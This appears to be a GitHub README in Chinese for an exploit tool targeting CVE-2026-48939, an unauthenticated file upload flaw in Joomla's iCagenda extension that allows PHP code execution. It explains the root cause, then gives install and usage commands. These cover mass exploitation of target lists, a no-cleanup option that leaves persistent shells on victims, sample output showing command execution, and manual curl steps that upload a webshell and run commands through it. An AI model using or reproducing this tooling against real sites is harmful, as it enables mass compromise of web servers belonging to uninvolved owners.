shinthink/CVE-2026-48939
GitHub: shinthink/CVE-2026-48939
针对 Joomla iCagenda 扩展未认证任意文件上传导致 RCE 的漏洞利用工具,支持批量扫描与命令执行验证。
Stars: 2 | Forks: 0
CVE-2026-48939 — iCagenda Joomla RCE 漏洞利用
未认证任意文件上传 → PHP 代码执行
## 概述 **CVE-2026-48939** 是 Joomla 的 iCagenda 活动日历扩展中一个 CVSS 10.0 的严重漏洞。前端活动注册表单的文件附件功能仅在视图层强制执行访问控制——而不是在 controller 层——允许在没有扩展名验证的情况下进行未认证的文件上传。 上传的文件直接存放在 web 根目录下的 `/images/icagenda/frontend/attachments/` 中,并可作为 PHP 立即执行。 ### 受影响版本 | iCagenda 版本 | 状态 | |---|---| | 3.2.1 – 3.9.14 | 存在漏洞 | | 4.0.0 – 4.0.7 | 存在漏洞 | | 3.9.15 / 4.0.8+ | 已修复 | ## 漏洞机制 ### 根本原因 `registration.submit` controller 处理文件上传时,没有强制执行组件设置中配置的“仅限注册用户”访问限制。文件附件以其原始扩展名写入,没有任何白名单、MIME 类型或内容验证。 ``` View Layer → "Registered Only" enforced (attempts to block) Controller → No auth check whatsoever (trivially bypassed by POST) File Handler → No extension allowlist, no MIME check, no content scan Destination → Web-accessible directory → PHP executes directly ``` ### 攻击流程 ``` POST /index.php?option=com_icagenda&task=registration.submit jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/ GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id → PHP executed → RCE ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-48939.git cd CVE-2026-48939 pip install -r requirements.txt ``` ## 使用说明 ``` # 单个目标 python cve_2026_48939.py -t target.com # Mass exploit python cve_2026_48939.py -f targets.txt # Persistent shell(无清理) python cve_2026_48939.py -t target.com --no-cleanup # 保存结果 python cve_2026_48939.py -f targets.txt -o rce.txt ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE results to file --threads Concurrent workers (default: 25) --no-cleanup Leave shells on target -v, --verbose Show detailed output ``` ## 概念验证 ### 漏洞利用 ``` $ python cve_2026_48939.py -t target.com -v ``` ``` CVE-2026-48939 — iCagenda Joomla RCE Exploit CVSS 10.0 | Pre-Auth | File Upload → RCE [+] POST registration.submit (jform[attachment]): HTTP 200 [+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php Host : target.com iCagenda : YES v4.0.5 Vuln : YES RCE : YES Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data) Time : 3.2s ``` ### 批量漏洞利用输出 ``` CVE-2026-48939 iCagenda RCE Exploit Targets: 500 | Threads: 25 | Cleanup: ON ------------------------------------------------------- [RCE] target-1.com v4.0.5 3.2s uid=1001(www-data) gid=1001(www-data) [RCE] target-2.com v3.9.12 4.1s uid=33(www-data) gid=33(www-data) ------------------------------------------------------- Total: 500 | iCagenda: 23 | RCE: 8 ------------------------------------------------------- ``` ### 手动漏洞利用 **第 1 步 — 上传 PHP webshell** ``` cat > shell.php << 'EOF' EOF curl -sk -X POST \ -F "title=Event" \ -F "jform[attachment]=@shell.php;type=application/x-php" \ "https://target.com/index.php?option=com_icagenda&task=registration.submit" ``` **第 2 步 — 执行命令** ``` curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id" ``` ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | IONIX 公告 | [ionix.io/threat-center/cve-2026-48939](https://www.ionix.io/threat-center/cve-2026-48939/) | | NVD 条目 | [CVE-2026-48939](https://nvd.nist.gov/vuln/detail/CVE-2026-48939) | | iCagenda 更新日志 | [icagenda.com/docs](https://www.icagenda.com/docs/changelog/icagenda-4-0-9) |本项目与 iCagenda 或 Joomlic 无任何关联。
标签:CISA项目, OpenVAS, PHP, Python, Web安全, 文件上传漏洞, 无后门, 系统独立性, 编程工具, 蓝队分析, 远程代码执行, 逆向工具